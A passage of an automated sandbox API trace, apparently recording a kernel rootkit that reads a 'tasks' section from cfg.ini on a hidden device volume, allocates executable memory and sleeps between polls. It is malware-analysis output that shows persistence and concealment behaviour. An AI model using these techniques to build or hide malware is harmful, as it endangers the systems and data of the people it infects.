KeEnterCriticalRegion () [0129.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.181] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bae000 [0129.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.181] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.181] IdePortDispatch () returned 0x103 [0129.181] KeWaitForMutexObject () returned 0x0 [0129.181] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.181] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.181] IdePortDispatch () returned 0x103 [0129.182] KeWaitForMutexObject () returned 0x0 [0129.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.182] KeLeaveCriticalRegion () [0129.182] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.182] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.182] KeEnterCriticalRegion () [0129.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.182] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.182] KeLeaveCriticalRegion () [0129.182] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.182] KeEnterCriticalRegion () [0129.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.182] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.182] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02ce0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.183] KeLeaveCriticalRegion () [0129.183] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.183] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.183] KeEnterCriticalRegion () [0129.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.183] ExFreePoolWithTag (P=0xfffffa8003c03010, Tag=0x0) [0129.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.183] KeLeaveCriticalRegion () [0129.183] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.183] ReleaseMutex (hMutex=0xf0) returned 1 [0129.183] Sleep (dwMilliseconds=0x927c0) [0129.198] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.198] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.198] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.198] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.198] KeEnterCriticalRegion () [0129.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.198] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.198] IdePortDispatch () returned 0x103 [0129.198] KeWaitForMutexObject () returned 0x0 [0129.198] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.198] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.198] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.198] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.198] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.198] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7f00 [0129.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.198] KeLeaveCriticalRegion () [0129.198] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.199] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.199] KeEnterCriticalRegion () [0129.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.199] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.199] KeLeaveCriticalRegion () [0129.199] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.199] KeEnterCriticalRegion () [0129.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.199] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.199] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.199] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.199] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.199] IdePortDispatch () returned 0x103 [0129.199] KeWaitForMutexObject () returned 0x0 [0129.199] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.199] KeLeaveCriticalRegion () [0129.199] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.199] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.199] KeEnterCriticalRegion () [0129.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.199] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb3000 [0129.199] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.199] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.199] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.199] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.199] IdePortDispatch () returned 0x103 [0129.200] KeWaitForMutexObject () returned 0x0 [0129.200] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.200] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.200] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.200] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.200] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.200] IdePortDispatch () returned 0x103 [0129.200] KeWaitForMutexObject () returned 0x0 [0129.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.201] KeLeaveCriticalRegion () [0129.201] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.201] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.201] KeEnterCriticalRegion () [0129.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.201] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.201] KeLeaveCriticalRegion () [0129.201] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.201] KeEnterCriticalRegion () [0129.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.201] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.201] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.201] KeLeaveCriticalRegion () [0129.201] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.201] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.201] KeEnterCriticalRegion () [0129.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.201] ExFreePoolWithTag (P=0xfffffa800c4f7f00, Tag=0x0) [0129.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.202] KeLeaveCriticalRegion () [0129.202] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.202] ReleaseMutex (hMutex=0xf0) returned 1 [0129.202] Sleep (dwMilliseconds=0x927c0) [0129.217] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.217] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.217] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.217] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.217] KeEnterCriticalRegion () [0129.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.217] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.217] IdePortDispatch () returned 0x103 [0129.217] KeWaitForMutexObject () returned 0x0 [0129.217] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.217] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.217] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.217] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.217] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.217] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03390 [0129.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.217] KeLeaveCriticalRegion () [0129.217] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.218] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.218] KeEnterCriticalRegion () [0129.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.218] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.218] KeLeaveCriticalRegion () [0129.218] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.218] KeEnterCriticalRegion () [0129.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.218] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.218] IdePortDispatch () returned 0x103 [0129.218] KeWaitForMutexObject () returned 0x0 [0129.218] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.218] KeLeaveCriticalRegion () [0129.218] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.218] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.218] KeEnterCriticalRegion () [0129.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.218] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb8000 [0129.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.218] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.218] IdePortDispatch () returned 0x103 [0129.218] KeWaitForMutexObject () returned 0x0 [0129.219] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.219] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.219] IdePortDispatch () returned 0x103 [0129.219] KeWaitForMutexObject () returned 0x0 [0129.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.219] KeLeaveCriticalRegion () [0129.219] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.219] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.220] KeEnterCriticalRegion () [0129.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.220] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.220] KeLeaveCriticalRegion () [0129.220] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.220] KeEnterCriticalRegion () [0129.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.220] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.220] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.220] KeLeaveCriticalRegion () [0129.220] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.220] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.220] KeEnterCriticalRegion () [0129.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.220] ExFreePoolWithTag (P=0xfffffa8003c03390, Tag=0x0) [0129.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.220] KeLeaveCriticalRegion () [0129.220] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.220] ReleaseMutex (hMutex=0xf0) returned 1 [0129.220] Sleep (dwMilliseconds=0x927c0) [0129.236] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.236] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.236] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.236] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.236] KeEnterCriticalRegion () [0129.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.236] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.236] IdePortDispatch () returned 0x103 [0129.236] KeWaitForMutexObject () returned 0x0 [0129.236] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.236] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.236] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.236] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.237] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.237] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.237] KeLeaveCriticalRegion () [0129.237] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.237] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.237] KeEnterCriticalRegion () [0129.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.237] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.237] KeLeaveCriticalRegion () [0129.237] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.237] KeEnterCriticalRegion () [0129.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.237] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.237] IdePortDispatch () returned 0x103 [0129.237] KeWaitForMutexObject () returned 0x0 [0129.237] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.237] KeLeaveCriticalRegion () [0129.237] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.237] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.237] KeEnterCriticalRegion () [0129.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.237] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbd000 [0129.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.238] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.238] IdePortDispatch () returned 0x103 [0129.238] KeWaitForMutexObject () returned 0x0 [0129.238] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.238] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.238] IdePortDispatch () returned 0x103 [0129.238] KeWaitForMutexObject () returned 0x0 [0129.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.239] KeLeaveCriticalRegion () [0129.239] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.239] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.239] KeEnterCriticalRegion () [0129.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.239] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, 